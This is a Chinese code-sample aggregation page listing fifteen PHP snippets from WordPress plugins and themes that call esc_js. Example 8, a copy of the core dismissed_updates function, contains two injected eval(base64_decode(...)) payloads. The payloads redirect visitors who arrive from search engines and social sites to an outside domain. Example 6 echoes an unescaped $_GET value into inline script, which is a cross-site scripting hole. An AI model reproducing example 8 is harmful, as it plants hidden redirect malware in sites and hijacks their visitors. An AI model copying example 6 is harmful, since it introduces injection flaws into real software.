本文整理汇总了PHP中esc_js函数的典型用法代码示例。如果您正苦于以下问题:PHP esc_js函数的具体用法?PHP esc_js怎么用?PHP esc_js使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了esc_js函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: ts_essentials_escape
function ts_essentials_escape($str = '', $type = '', $context = '')
{
if (trim($str)) {
if ($type == 'strip') {
if ($context == 'widget_before_after') {
return strip_tags($str, '<div><ul><li>');
} elseif ($context == 'widget_title_before_after') {
return strip_tags($str, '<div><ul><li><h3><h4><h5><h6><strong><em><i><b><span>');
} elseif (substr($context, 0, 1) == '<') {
return strip_tags($str, $context);
} else {
return strip_tags($str);
}
} elseif ($type == 'bal' || $type == 'balance') {
return balanceTags($str);
} elseif ($type == 'attr') {
return esc_attr($str);
} elseif ($type == 'html') {
return esc_html($str);
} elseif ($type == 'url') {
return esc_url($str);
} elseif ($type == 'js') {
return esc_js($str);
} elseif ($type == 'textarea') {
return esc_textarea($str);
} elseif ($type == 'sql') {
return esc_sql($str);
} elseif ($type == 'post') {
return wp_kses_post($str);
}
}
return $str;
}
示例2: widget
function widget($args, $instance)
{
global $polylang;
if (!(isset($polylang) && $polylang->model->get_languages_list() && ($list = pll_the_languages(array_merge($instance, array('echo' => 0)))))) {
return;
}
extract($args);
extract($instance);
echo "{$before_widget}\n";
if ($title = apply_filters('widget_title', $title, $instance, $this->id_base)) {
echo $before_title . $title . $after_title;
}
echo $dropdown ? $list : "<ul>\n" . $list . "</ul>\n";
echo "{$after_widget}\n";
// javascript to switch the language when using a dropdown list
if ($dropdown) {
foreach ($polylang->model->get_languages_list() as $language) {
$url = $force_home || ($url = $polylang->links->get_translation_url($language)) == null ? $polylang->links->get_home_url($language) : $url;
$urls[] = '"' . esc_js($language->slug) . '":"' . esc_url($url) . '"';
}
$urls = implode(',', $urls);
$js = "\n\t\t\t\t<script type='text/javascript'>\n\t\t\t\t\t//<![CDATA[\n\t\t\t\t\tvar urls = {{$urls}};\n\t\t\t\t\tvar d = document.getElementById('lang_choice');\n\t\t\t\t\td.onchange = function() {\n\t\t\t\t\t\tfor (var i in urls) {\n\t\t\t\t\t\t\tif (this.value == i)\n\t\t\t\t\t\t\t\tlocation.href = urls[i];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t//]]>\n\t\t\t\t</script>";
echo $js;
}
}
示例3: dismissed_updates
function dismissed_updates() {
$dismissed = get_core_updates( array( 'dismissed' => true, 'available' => false ) );
if ( $dismissed ) {
$show_text = esc_js(__('Show hidden updates'));
$hide_text = esc_js(__('Hide hidden updates'));
?>
<script type="text/javascript">
jQuery(function($) {
$('dismissed-updates').show();
$('#show-dismissed').toggle(function(){$(this).text('<?php echo $hide_text; ?>');}, function() {$(this).text('<?php echo $show_text; ?>')});
$('#show-dismissed').click(function() { $('#dismissed-updates').toggle('slow');});
});
</script>
<?php
echo '<p class="hide-if-no-js"><a id="show-dismissed" href="#">'.__('Show hidden updates').'</a></p>';
echo '<ul id="dismissed-updates" class="core-updates dismissed">';
foreach( (array) $dismissed as $update) {
echo '<li>';
list_core_update( $update );
echo '</li>';
}
echo '</ul>';
}
}
示例4: get_data
/**
* Compile the schema.org event data into an array
*/
public function get_data($post = null, $args = array())
{
if (!$post instanceof WP_Post) {
$post = Tribe__Main::post_id_helper($post);
}
$post = get_post($post);
if (!$post instanceof WP_Post) {
return array();
}
$data = (object) array();
// We may need to prevent the context to be triggered
if (!isset($args['context']) || false !== $args['context']) {
$data->{'@context'} = 'http://schema.org';
}
$data->{'@type'} = $this->type;
$data->name = esc_js(get_the_title($post));
$data->description = esc_js(tribe_events_get_the_excerpt($post));
if (has_post_thumbnail($post)) {
$data->image = wp_get_attachment_url(get_post_thumbnail_id($post));
}
$data->url = esc_url_raw(get_permalink($post));
// Index by ID: this will allow filter code to identify the actual event being referred to
// without injecting an additional property
return array($post->ID => $data);
}
示例5: output_javascript
function output_javascript()
{
$confirmation_msg = esc_js(__('Following this link will exit the Wizard mode. Are you sure you want to proceed?', 'wdeb'));
echo <<<EoWizardRedirectionJs
<script type="text/javascript">
(function (\$) {
\$(function () {
\tvar links = \$("#wpadminbar a")
\t;
\tlinks.each(function () {
\t\tvar me = \$(this)
\t\t\thref = me.attr("href"),
\t\t\tnew_href = href,
\t\t\tseparator = href.match(/\\?/) ? '&' : '?',
\t\t\tin_menu = \$('.wdeb_wizard_step a[href="' + href + '"]')
\t\t;
\t\tif (in_menu.length) return true; // Link exists in the menu, no need to rebind
\t\tif (href.match(/^#/)) return true; // Don't do this for local links
\t\tnew_href += separator + 'wdeb_off';
\t\tme
\t\t\t.attr("href", new_href)
\t\t\t.off("click")
\t\t\t.on("click", function () {
\t\t\t\tif (!confirm("{$confirmation_msg}")) return false;
\t\t\t\treturn true;
\t\t\t})
\t\t;
\t});
});
})(jQuery);
</script>
EoWizardRedirectionJs;
}
示例6: wpcf_fields_skype_meta_box_submit
/**
* Edit Skype button submit.
*/
function wpcf_fields_skype_meta_box_submit()
{
$update = esc_attr($_GET['update']);
$preview = wpcf_fields_skype_get_button_image(esc_attr($_POST['skypename']), esc_attr($_POST['buttonstyle']));
?>
<script type="text/javascript">
//<![CDATA[
jQuery(document).ready(function(){
window.parent.jQuery('#<?php
echo $update;
?>
-skypename').val('<?php
echo esc_js($_POST['skypename']);
?>
');
window.parent.jQuery('#<?php
echo $update;
?>
-style').val('<?php
echo esc_js($_POST['buttonstyle']);
?>
');
window.parent.jQuery('#<?php
echo $update;
?>
-preview').html('<?php
echo $preview;
?>
');
window.parent.jQuery('#TB_closeWindowButton').trigger('click');
});
//]]>
</script>
<?php
}
示例7: update_nag
function update_nag()
{
$theme = wp_get_theme($this->theme_slug);
$api_response = get_transient($this->response_key);
if (false === $api_response) {
return;
}
$update_url = wp_nonce_url('update.php?action=upgrade-theme&theme=' . urlencode($this->theme_slug), 'upgrade-theme_' . $this->theme_slug);
// CT Mod: change message, add textdomain
//$update_onclick = ' onclick="if ( confirm(\'' . esc_js( __( "Updating this theme will lose any customizations you have made. 'Cancel' to stop, 'OK' to update." ) ) . '\') ) {return true;}return false;"';
$update_onclick = ' onclick="if ( confirm(\'' . esc_js(sprintf(__("Any customizations you have made directly to %s's theme files will be lost. Please consider using a child theme for modifications.", "church-theme-framework"), $theme->get('Name'))) . '\') ) {return true;}return false;"';
if (version_compare($this->version, $api_response->new_version, '<')) {
echo '<div id="update-nag">';
// CT Mod: Change message, localize -- now link directly to changelog
/*
printf( '<strong>%1$s %2$s</strong> is available. <a href="%3$s" class="thickbox" title="%4s">Check out what\'s new</a> or <a href="%5$s"%6$s>update now</a>.',
$theme->get( 'Name' ),
$api_response->new_version,
'#TB_inline?width=640&inlineId=' . $this->theme_slug . '_changelog',
$theme->get( 'Name' ),
$update_url,
$update_onclick
);
*/
printf(__('<strong>%1$s %2$s</strong> is available. <a href="%3$s"%4$s>Update Now</a> or read the <a href="%5$s" target="_blank">Changelog</a>.', 'church-theme-framework'), $theme->get('Name'), $api_response->new_version, $update_url, $update_onclick, 'http://churchthemes.com/go/changelog/' . CTFW_THEME_SLUG . '/');
echo '</div>';
echo '<div id="' . $this->theme_slug . '_' . 'changelog" style="display:none;">';
echo wpautop($api_response->sections['changelog']);
echo '</div>';
}
}
示例8: dismissed_updates
function dismissed_updates()
{
$dismissed = get_core_updates(array('dismissed' => true, 'available' => false));
if ($dismissed) {
$show_text = esc_js(__('Show hidden updates'));
$hide_text = esc_js(__('Hide hidden updates'));
?>
<script type="text/javascript">
jQuery(function($) {
$('dismissed-updates').show();
$('#show-dismissed').toggle(function(){$(this).text('<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVN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iKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
echo $show_text;
?>
')});
$('#show-dismissed').click(function() { $('#dismissed-updates').toggle('slow');});
});
</script>
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
echo '<p class="hide-if-no-js"><a id="show-dismissed" href="#">' . __('Show hidden updates') . '</a></p>';
echo '<ul id="dismissed-updates" class="core-updates dismissed">';
foreach ((array) $dismissed as $update) {
echo '<li>';
list_core_update($update);
echo '</li>';
}
echo '</ul>';
}
}
示例9: print_scripts_l10n
function print_scripts_l10n($handle, $echo = true)
{
if (empty($this->registered[$handle]->extra['l10n']) || empty($this->registered[$handle]->extra['l10n'][0]) || !is_array($this->registered[$handle]->extra['l10n'][1])) {
return false;
}
$object_name = $this->registered[$handle]->extra['l10n'][0];
$data = "var {$object_name} = {\n";
$eol = '';
foreach ($this->registered[$handle]->extra['l10n'][1] as $var => $val) {
if ('l10n_print_after' == $var) {
$after = $val;
continue;
}
$data .= "{$eol}\t{$var}: \"" . esc_js($val) . '"';
$eol = ",\n";
}
$data .= "\n};\n";
$data .= isset($after) ? "{$after}\n" : '';
if ($echo) {
echo "<script type='text/javascript'>\n";
echo "/* <![CDATA[ */\n";
echo $data;
echo "/* ]]> */\n";
echo "</script>\n";
return true;
} else {
return $data;
}
}
示例10: getManagerPage
public function getManagerPage($errors = array())
{
$html = phpQuery::newDocumentFileHTML(MVBAPK_HTML_DIR . 'admin/manager-page.html');
if ($_POST['submited']) {
if (count($errors)) {
$html['#notice-message > div:first']->removeClass('ui-state-highlight');
$html['#notice-message > div:first']->addClass('ui-state-error');
$html['#notice-message #message']->html(implode('<br/>', $errors));
}
} else {
$html['#notice-message']->addClass('dialog');
}
//add list of styles
$styles = $this->modelNode->getStyleList();
if (is_array($styles)) {
foreach ($styles as $id => $style) {
$id = esc_attr($id);
$label = esc_js($style['label']);
$html['#style']->append("<option value='{$id}'>{$label}</option>");
}
reset($styles);
$first = current($styles);
$html['#current-style-display'] = $first['label'];
}
echo $html->htmlOuter();
}
示例11: showhide_shortcode
function showhide_shortcode($atts, $content = null)
{
// Variables
$post_id = get_the_id();
$word_count = number_format_i18n(sizeof(explode(' ', strip_tags($content))));
// Extract ShortCode Attributes
$attributes = shortcode_atts(array('type' => 'pressrelease', 'more_text' => __('Show Press Release (%s More Words)', 'wp-showhide'), 'less_text' => __('Hide Press Release (%s Less Words)', 'wp-showhide'), 'hidden' => 'yes'), $atts);
// More/Less Text
$more_text = sprintf($attributes['more_text'], $word_count);
$less_text = sprintf($attributes['less_text'], $word_count);
// Determine Whether To Show Or Hide Press Release
$hidden_class = 'sh-hide';
$hidden_css = 'display: none;';
$hidden_aria_expanded = 'false';
if ($attributes['hidden'] === 'no') {
$hidden_class = 'sh-show';
$hidden_css = 'display: block;';
$hidden_aria_expanded = 'true';
$tmp_text = $more_text;
$more_text = $less_text;
$less_text = $tmp_text;
}
// Format HTML Output
$output = '<div id="' . $attributes['type'] . '-link-' . $post_id . '" class="sh-link ' . $attributes['type'] . '-link ' . $hidden_class . '"><a href="#" onclick="showhide_toggle(\'' . esc_js($attributes['type']) . '\', ' . $post_id . ', \'' . esc_js($more_text) . '\', \'' . esc_js($less_text) . '\'); return false;" aria-expanded="' . $hidden_aria_expanded . '"><span id="' . $attributes['type'] . '-toggle-' . $post_id . '">' . $more_text . '</span></a></div>';
$output .= '<div id="' . $attributes['type'] . '-content-' . $post_id . '" class="sh-content ' . $attributes['type'] . '-content ' . $hidden_class . '" style="' . $hidden_css . '">' . do_shortcode($content) . '</div>';
return $output;
}
示例12: wpcf_fields_image_meta_box_js_inline
/**
* Renders inline JS.
*/
function wpcf_fields_image_meta_box_js_inline()
{
global $post;
$for_post = isset($post) ? 'post_id=' . $post->ID . '&' : '';
?>
<script type="text/javascript">
//<![CDATA[
jQuery(document).ready(function(){
wpcf_formfield = false;
jQuery('.wpcf-fields-image-upload-link').live('click', function() {
wpcf_formfield = '#'+jQuery(this).attr('id')+'-holder';
tb_show('<?php
echo esc_js(__('Upload image', 'wpcf'));
?>
', 'media-upload.php?<?php
echo $for_post;
?>
type=image&context=wpcf-fields-media-insert&TB_iframe=1&width=640&height=336');
return false;
});
});
//]]>
</script>
<?php
}
示例13: wp_footer
/**
* Fire bxslider
*/
public function wp_footer()
{
?>
<script>
jQuery( function( $ ) {
$( '.habakiri-slider__list' ).slick( {
arrows: true,
adaptiveHeight: true,
autoplay: <?php
echo esc_js(Habakiri::get('slider_option_interval') ? 'true' : 'false');
?>
,
autoplaySpeed: <?php
echo esc_js(Habakiri::get('slider_option_interval'));
?>
,
speed: <?php
echo esc_js(Habakiri::get('slider_option_speed'));
?>
,
fade: <?php
echo esc_js(Habakiri::get('slider_option_effect') === 'fade' ? 'true' : 'false');
?>
,
nextArrow: '<span class="habakiri-slider__arrow habakiri-slider__arrow--next genericon genericon-collapse"></span>',
prevArrow: '<span class="habakiri-slider__arrow habakiri-slider__arrow--prev genericon genericon-collapse"></span>'
} );
} );
</script>
<?php
}
示例14: blc_display_survey_notice
/**
* Display a notice asking the user to take the Broken Link Checker user survey.
*
* @return void
*/
function blc_display_survey_notice()
{
//Only people who can actually use the plugin will see the notice
if (!current_user_can('manage_links')) {
return;
}
if (!empty($_GET['dismiss-blc-survey'])) {
//The user has chosen to hide the survey notice
$blc_config = blc_get_configuration();
$blc_config->options['hide_surveyio_notice'] = true;
$blc_config->save_options();
return;
}
$survey_url = 'http://survey.io/survey/7fbf0';
$msg = sprintf('<strong>Help improve Broken Link Checker - <a href="%s" target="_blank" title="This link will open in a new window" id="blc-take-survey-link">take a user feedback survey!</a></strong>
<br><a href="%s">Hide this notice</a>', $survey_url, esc_attr(add_query_arg('dismiss-blc-survey', 1)));
echo '<div id="update-nag" class="blc-survey-notice" style="text-align: left; padding-left: 10px;">' . $msg . '</div>';
//Auto-hide the notice after the user clicks the survey link
?>
<script type="text/javascript">
jQuery(function($){
$('#blc-take-survey-link').click(function(){
$('.blc-survey-notice').hide('fast');
$.get('<?php
echo esc_js(add_query_arg('dismiss-blc-survey', 1, admin_url()));
?>
');
});
});
</script>
<?php
}
示例15: ebor_progress_circle_shortcode
/**
* The Shortcode
*/
function ebor_progress_circle_shortcode($atts, $content = null)
{
extract(shortcode_atts(array('title' => '', 'percent' => '0.4', 'color' => '#7bc4e6'), $atts));
$id = wp_rand(0, 1000);
$output = '
<div class="circle-progress-wrapper bm40 wow fadeIn" data-wow-duration="1s" data-wow-delay="0.0s">
<div class="circle-progress circle circle' . esc_attr($id) . '">
<h4>' . $title . '</h4>
</div>
</div>
<script type="text/javascript">
jQuery(window).load(function() {
var circle' . esc_attr($id) . ' = new ProgressBar.Circle(".circle.circle' . esc_attr($id) . '", {
color: "' . $color . '",
trailColor: "rgba(255,255,255,0.1)",
strokeWidth: 2,
trailWidth: 2,
duration: 4500,
easing: "easeInOut",
text: {
value: "' . esc_js($percent) . '"
},
step: function(state, bar) {
bar.setText((bar.value() * 100).toFixed(0));
}
});
circle' . esc_attr($id) . '.animate(' . esc_js($percent) . ');
});
</script>
';
return $output;
}